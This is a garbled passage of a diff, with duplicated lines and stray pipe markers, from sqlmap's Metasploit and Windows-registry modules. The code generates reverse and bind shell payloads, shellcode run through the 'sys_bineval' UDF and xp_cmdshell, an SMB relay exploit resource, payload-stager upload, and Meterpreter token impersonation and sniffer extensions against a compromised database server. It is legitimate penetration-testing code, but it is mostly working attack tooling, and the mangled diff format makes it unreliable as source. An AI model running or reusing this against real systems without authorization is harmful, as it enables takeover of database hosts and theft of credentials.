return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||||
|
|
||||||
|
|
||||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||||
self.connectionStr = self.__selectConnection()
|
self.connectionStr = self.__selectConnection()
|
||||||
|
self.lhostStr = self.__selectLhost()
|
||||||
self.rhostStr = self.__selectRhost()
|
self.rhostStr = self.__selectRhost()
|
||||||
self.portStr = self.__selectPort()
|
self.portStr = self.__selectPort()
|
||||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||||
self.encoderStr = self.__selectEncoder(encode)
|
self.encoderStr = self.__selectEncoder(encode)
|
||||||
|
|
||||||
|
if self.payloadStr == "linux/x86/shell":
|
||||||
|
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
else:
|
||||||
|
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
|
||||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||||
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
|
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||||
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
|
|
||||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||||
|
|
||||||
@@ -323,68 +336,62 @@ class Metasploit:
|
|||||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__cliCmd += " LHOST=%s" % self.localIP
|
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
self.__cliCmd += " E"
|
self.__cliCmd += " E"
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfConsoleCmd(self):
|
def __forgeMsfConsoleCmd(self):
|
||||||
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
||||||
|
|
||||||
|
|
||||||
def __forgeMsfConsoleResource(self):
|
def __forgeMsfConsoleResource(self):
|
||||||
|
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
||||||
|
|
||||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||||
|
|
||||||
self.__resource = "use windows/smb/smb_relay\n"
|
self.__resource = "use windows/smb/smb_relay\n"
|
||||||
self.__resource += "set SRVHOST %s\n" % self.localIP
|
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||||
self.__resource += "set LPORT %s\n" % self.portStr
|
self.__resource += "set LPORT %s\n" % self.portStr
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||||
|
|
||||||
elif self.connectionStr.startswith("reverse"):
|
elif self.connectionStr.startswith("reverse"):
|
||||||
self.__resource += "set LHOST %s\n" % self.localIP
|
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||||
|
|
||||||
else:
|
else:
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
self.__resource += "exploit\n"
|
self.__resource += "exploit\n"
|
||||||
|
|
||||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
self.resourceFp = open(self.resourceFile, "w")
|
||||||
self.resourceFp = open(self.resourceFile, "w")
|
|
||||||
|
|
||||||
self.resourceFp.write(self.__resource)
|
self.resourceFp.write(self.__resource)
|
||||||
self.resourceFp.close()
|
self.resourceFp.close()
|
||||||
|
|
||||||
|
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||||
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
|
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||||
self.__payloadCmd = self.__msfPayload
|
|
||||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
|
||||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||||
|
|
||||||
if self.connectionStr.startswith("reverse"):
|
if self.connectionStr.startswith("reverse"):
|
||||||
self.__payloadCmd += " LHOST=%s" % self.localIP
|
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
elif not self.connectionStr.startswith("bind"):
|
elif not self.connectionStr.startswith("bind"):
|
||||||
raise sqlmapDataException, "unexpected connection type"
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||||
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
|
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||||
|
|
||||||
if extra is not None:
|
if extra is not None:
|
||||||
self.__payloadCmd += " %s" % extra
|
self.__payloadCmd += " %s" % extra
|
||||||
|
|
||||||
else:
|
else:
|
||||||
self.__payloadCmd += " X"
|
self.__payloadCmd += " X > %s" % outFile
|
||||||
|
|
||||||
|
def __runMsfCli(self, exitfunc):
|
||||||
def __runMsfCli(self, exitfunc="process"):
|
|
||||||
self.__forgeMsfCliCmd(exitfunc)
|
self.__forgeMsfCliCmd(exitfunc)
|
||||||
|
|
||||||
infoMsg = "running Metasploit Framework 3 command line "
|
infoMsg = "running Metasploit Framework 3 command line "
|
||||||
@@ -392,18 +399,21 @@ class Metasploit:
|
|||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||||
|
|
||||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
|
||||||
def __runMsfConsole(self):
|
def __runMsfConsole(self):
|
||||||
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||||
|
|
||||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
def __runMsfShellcodeRemote(self):
|
||||||
|
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||||
|
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||||
|
|
||||||
def __runMsfPayloadRemote(self):
|
def __runMsfPayloadRemote(self):
|
||||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||||
@@ -415,44 +425,39 @@ class Metasploit:
|
|||||||
|
|
||||||
cmd = "%s &" % self.exeFilePathRemote
|
cmd = "%s &" % self.exeFilePathRemote
|
||||||
|
|
||||||
if self.cmdFromChurrasco == True:
|
if self.cmdFromChurrasco:
|
||||||
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
||||||
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||||
|
|
||||||
# NOTE: calling the Metasploit payload from a system() function in
|
|
||||||
# C on Windows (check on Linux the behaviour) for some reason
|
|
||||||
# hangs it and the HTTP response goes into timeout, this does not
|
|
||||||
# happen when running the it from Windows cmd.
|
|
||||||
# Investigate and fix if possible
|
|
||||||
self.execCmd(cmd, silent=True)
|
self.execCmd(cmd, silent=True)
|
||||||
|
|
||||||
|
|
||||||
def __loadMetExtensions(self, proc, metSess):
|
def __loadMetExtensions(self, proc, metSess):
|
||||||
if kb.os != "Windows":
|
if kb.os != "Windows":
|
||||||
return
|
return
|
||||||
|
|
||||||
if self.resourceFile != None:
|
if self.resourceFile is not None:
|
||||||
proc.stdin.write("sessions -l\n")
|
proc.stdin.write("sessions -l\n")
|
||||||
proc.stdin.write("sessions -i %s\n" % metSess)
|
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||||
|
|
||||||
proc.stdin.write("use priv\n")
|
proc.stdin.write("getuid\n")
|
||||||
|
|
||||||
if conf.privEsc == True:
|
proc.stdin.write("use espia\n")
|
||||||
|
proc.stdin.write("use incognito\n")
|
||||||
|
proc.stdin.write("use priv\n")
|
||||||
|
proc.stdin.write("use sniffer\n")
|
||||||
|
|
||||||
|
if conf.privEsc:
|
||||||
print
|
print
|
||||||
|
|
||||||
infoMsg = "loading Meterpreter 'incognito' extension and "
|
infoMsg = "displaying the list of Access Tokens availables. "
|
||||||
infoMsg += "displaying the list of Access Tokens availables. "
|
|
||||||
infoMsg += "Choose which user you want to impersonate by "
|
infoMsg += "Choose which user you want to impersonate by "
|
||||||
infoMsg += "using incognito's command 'impersonate_token'"
|
infoMsg += "using incognito's command 'impersonate_token'"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
proc.stdin.write("use incognito\n")
|
|
||||||
proc.stdin.write("getuid\n")
|
|
||||||
proc.stdin.write("list_tokens -u\n")
|
proc.stdin.write("list_tokens -u\n")
|
||||||
|
|
||||||
|
|
||||||
def __controlMsfCmd(self, proc, func):
|
def __controlMsfCmd(self, proc, func):
|
||||||
stdin_fd = sys.stdin.fileno()
|
stdin_fd = sys.stdin.fileno()
|
||||||
setNonBlocking(stdin_fd)
|
setNonBlocking(stdin_fd)
|
||||||
@@ -494,9 +499,15 @@ class Metasploit:
|
|||||||
if pwnBofCond or smbRelayCond:
|
if pwnBofCond or smbRelayCond:
|
||||||
func()
|
func()
|
||||||
|
|
||||||
|
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
||||||
|
if kb.os == "Windows":
|
||||||
|
proc.stdin.write("whoami\n")
|
||||||
|
else:
|
||||||
|
proc.stdin.write("uname -a ; id\n")
|
||||||
|
|
||||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||||
|
|
||||||
if metSess and self.payloadStr == "windows/meterpreter":
|
if metSess:
|
||||||
self.__loadMetExtensions(proc, metSess.group(1))
|
self.__loadMetExtensions(proc, metSess.group(1))
|
||||||
|
|
||||||
except EOFError:
|
except EOFError:
|
||||||
@@ -504,57 +515,49 @@ class Metasploit:
|
|||||||
|
|
||||||
return returncode
|
return returncode
|
||||||
|
|
||||||
|
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||||
def createMsfShellcode(self):
|
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
|
||||||
infoMsg += "for the exploit"
|
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.shellcodeChar = ""
|
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
|
||||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
|
|
||||||
|
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
self.__prepareIngredients(askChurrasco=False)
|
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||||
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
|
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
payloadStderr = process.communicate()[1]
|
payloadStderr = process.communicate()[1]
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||||
else:
|
else:
|
||||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
self.__shellcodeFileP.close()
|
|
||||||
|
|
||||||
if payloadSize:
|
if payloadSize:
|
||||||
payloadSize = payloadSize.group(1)
|
payloadSize = int(payloadSize.group(1))
|
||||||
|
|
||||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
if extra == "BufferRegister=EAX":
|
||||||
|
payloadSize = payloadSize / 2
|
||||||
|
|
||||||
|
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
else:
|
else:
|
||||||
raise sqlmapFilePathException, "failed to create the shellcode"
|
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
|
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||||
self.__shellcodeString = self.__shellcodeFileP.read()
|
self.shellcodeString = self.__shellcodeFP.read()
|
||||||
self.__shellcodeFileP.close()
|
self.__shellcodeFP.close()
|
||||||
|
|
||||||
os.unlink(self.__shellcodeFilePath)
|
os.unlink(self.__shellcodeFilePath)
|
||||||
|
|
||||||
hexStr = binascii.hexlify(self.__shellcodeString)
|
|
||||||
|
|
||||||
for hexPair in range(0, len(hexStr), 2):
|
|
||||||
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
|
||||||
|
|
||||||
|
|
||||||
def createMsfPayloadStager(self, initialize=True):
|
def createMsfPayloadStager(self, initialize=True):
|
||||||
if initialize == True:
|
if initialize:
|
||||||
infoMsg = ""
|
infoMsg = ""
|
||||||
else:
|
else:
|
||||||
infoMsg = "re"
|
infoMsg = "re"
|
||||||
@@ -566,43 +569,59 @@ class Metasploit:
|
|||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
|
||||||
|
|
||||||
|
# Metasploit developers added support for the old exe format
|
||||||
|
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
||||||
|
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
||||||
|
# This is useful for sqlmap because on PostgreSQL it is not
|
||||||
|
# possible to write files bigger than 8192 bytes abusing the
|
||||||
|
# lo_export() feature implemented in sqlmap.
|
||||||
|
if kb.dbms == "PostgreSQL":
|
||||||
|
self.__fileFormat = "exe-small"
|
||||||
|
else:
|
||||||
|
self.__fileFormat = "exe"
|
||||||
else:
|
else:
|
||||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
|
self.__fileFormat = "elf"
|
||||||
|
|
||||||
self.__exeFileP = open(self.exeFilePathLocal, "wb")
|
if initialize:
|
||||||
|
|
||||||
if initialize == True:
|
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
|
|
||||||
if self.payloadStr == None:
|
if self.payloadStr is None:
|
||||||
self.__prepareIngredients()
|
self.__prepareIngredients()
|
||||||
|
|
||||||
self.__forgeMsfPayloadCmd()
|
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||||
|
|
||||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||||
|
|
||||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||||
pollProcess(process)
|
pollProcess(process)
|
||||||
payloadStderr = process.communicate()[1]
|
payloadStderr = process.communicate()[1]
|
||||||
|
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
||||||
else:
|
else:
|
||||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
self.__exeFileP.close()
|
|
||||||
|
|
||||||
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||||
|
|
||||||
if payloadSize:
|
if payloadSize:
|
||||||
payloadSize = payloadSize.group(1)
|
payloadSize = payloadSize.group(1)
|
||||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||||
packedSize = upx.pack(self.exeFilePathLocal)
|
|
||||||
|
# Only pack the payload stager if the back-end DBMS is not
|
||||||
|
# PostgreSQL because for this DBMS, sqlmap uses the
|
||||||
|
# Metasploit's old exe format
|
||||||
|
if self.__fileFormat != "exe-small":
|
||||||
|
packedSize = upx.pack(self.exeFilePathLocal)
|
||||||
|
else:
|
||||||
|
packedSize = None
|
||||||
|
|
||||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||||
|
|
||||||
if packedSize:
|
if packedSize and packedSize < exeSize:
|
||||||
debugMsg += "as a compressed portable executable its size "
|
debugMsg += "as a compressed portable executable its size "
|
||||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||||
debugMsg += "was %s bytes large" % exeSize
|
debugMsg += "was %s bytes large" % exeSize
|
||||||
@@ -612,8 +631,8 @@ class Metasploit:
|
|||||||
|
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
else:
|
else:
|
||||||
raise sqlmapFilePathException, "failed to create the payload stager"
|
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
def uploadMsfPayloadStager(self):
|
def uploadMsfPayloadStager(self):
|
||||||
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
||||||
@@ -623,29 +642,38 @@ class Metasploit:
|
|||||||
|
|
||||||
os.unlink(self.exeFilePathLocal)
|
os.unlink(self.exeFilePathLocal)
|
||||||
|
|
||||||
|
def pwn(self, goUdf=False):
|
||||||
|
if goUdf:
|
||||||
|
exitfunc = "thread"
|
||||||
|
func = self.__runMsfShellcodeRemote
|
||||||
|
else:
|
||||||
|
exitfunc = "process"
|
||||||
|
func = self.__runMsfPayloadRemote
|
||||||
|
|
||||||
def pwn(self):
|
self.__runMsfCli(exitfunc=exitfunc)
|
||||||
self.__runMsfCli()
|
|
||||||
|
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.__runMsfPayloadRemote()
|
func()
|
||||||
|
|
||||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if not goUdf:
|
||||||
|
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
||||||
|
|
||||||
def smb(self):
|
def smb(self):
|
||||||
self.__initVars()
|
self.__initVars()
|
||||||
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||||
|
|
||||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
|
||||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
|
|
||||||
else:
|
|
||||||
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
|
|
||||||
|
|
||||||
self.__forgeMsfConsoleResource()
|
self.__forgeMsfConsoleResource()
|
||||||
self.__forgeMsfConsoleCmd()
|
self.__forgeMsfConsoleCmd()
|
||||||
|
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
else:
|
||||||
|
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
|
||||||
self.__runMsfConsole()
|
self.__runMsfConsole()
|
||||||
|
|
||||||
debugMsg = "Metasploit Framework 3 console exited with return "
|
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||||
@@ -654,7 +682,6 @@ class Metasploit:
|
|||||||
|
|
||||||
os.unlink(self.resourceFile)
|
os.unlink(self.resourceFile)
|
||||||
|
|
||||||
|
|
||||||
def bof(self):
|
def bof(self):
|
||||||
self.__runMsfCli(exitfunc="seh")
|
self.__runMsfCli(exitfunc="seh")
|
||||||
|
|
||||||
|
|||||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
@@ -31,26 +29,25 @@ from lib.core.data import conf
|
|||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
|
||||||
class Registry:
|
class Registry:
|
||||||
"""
|
"""
|
||||||
This class defines methods to read and write Windows registry keys
|
This class defines methods to read and write Windows registry keys
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
|
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||||
self.__regKey = regKey
|
self.__regKey = regKey
|
||||||
self.__regName = regName
|
|
||||||
self.__regType = regType
|
|
||||||
self.__regValue = regValue
|
self.__regValue = regValue
|
||||||
|
self.__regType = regType
|
||||||
|
self.__regData = regData
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
||||||
|
|
||||||
if parse == True:
|
if parse:
|
||||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||||
else:
|
else:
|
||||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
|
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||||
|
|
||||||
self.__batRead = (
|
self.__batRead = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
@@ -59,24 +56,14 @@ class Registry:
|
|||||||
|
|
||||||
self.__batAdd = (
|
self.__batAdd = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
|
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||||
)
|
)
|
||||||
|
|
||||||
self.__batDel = (
|
self.__batDel = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
|
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def __execBatPathRemote(self):
|
|
||||||
if kb.dbms == "Microsoft SQL Server":
|
|
||||||
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
|
|
||||||
else:
|
|
||||||
cmd = self.__batPathRemote
|
|
||||||
|
|
||||||
self.execCmd(cmd)
|
|
||||||
|
|
||||||
|
|
||||||
def __createLocalBatchFile(self):
|
def __createLocalBatchFile(self):
|
||||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||||
|
|
||||||
@@ -92,7 +79,6 @@ class Registry:
|
|||||||
|
|
||||||
self.__batPathFp.close()
|
self.__batPathFp.close()
|
||||||
|
|
||||||
|
|
||||||
def __createRemoteBatchFile(self):
|
def __createRemoteBatchFile(self):
|
||||||
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
||||||
|
|
||||||
@@ -101,39 +87,47 @@ class Registry:
|
|||||||
|
|
||||||
os.unlink(self.__batPathLocal)
|
os.unlink(self.__batPathLocal)
|
||||||
|
|
||||||
|
def readRegKey(self, regKey, regValue, parse=False):
|
||||||
def readRegKey(self, regKey, regName, parse):
|
|
||||||
self.__operation = "read"
|
self.__operation = "read"
|
||||||
|
|
||||||
self.__initVars(regKey, regName, parse=parse)
|
self.__initVars(regKey, regValue, parse=parse)
|
||||||
self.__createRemoteBatchFile()
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
|
logger.debug("reading registry key '%s' value '%s'" % (regKey, regValue))
|
||||||
|
|
||||||
return self.evalCmd(self.__batPathRemote)
|
if not parse:
|
||||||
|
first = len(regKey) + 6
|
||||||
|
else:
|
||||||
|
first = None
|
||||||
|
|
||||||
|
data = self.evalCmd(self.__batPathRemote, first)
|
||||||
|
|
||||||
def addRegKey(self, regKey, regName, regType, regValue):
|
self.delRemoteFile(self.__batPathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
return data
|
||||||
|
|
||||||
|
def addRegKey(self, regKey, regValue, regType, regData):
|
||||||
self.__operation = "add"
|
self.__operation = "add"
|
||||||
|
|
||||||
self.__initVars(regKey, regName, regType, regValue)
|
self.__initVars(regKey, regValue, regType, regData)
|
||||||
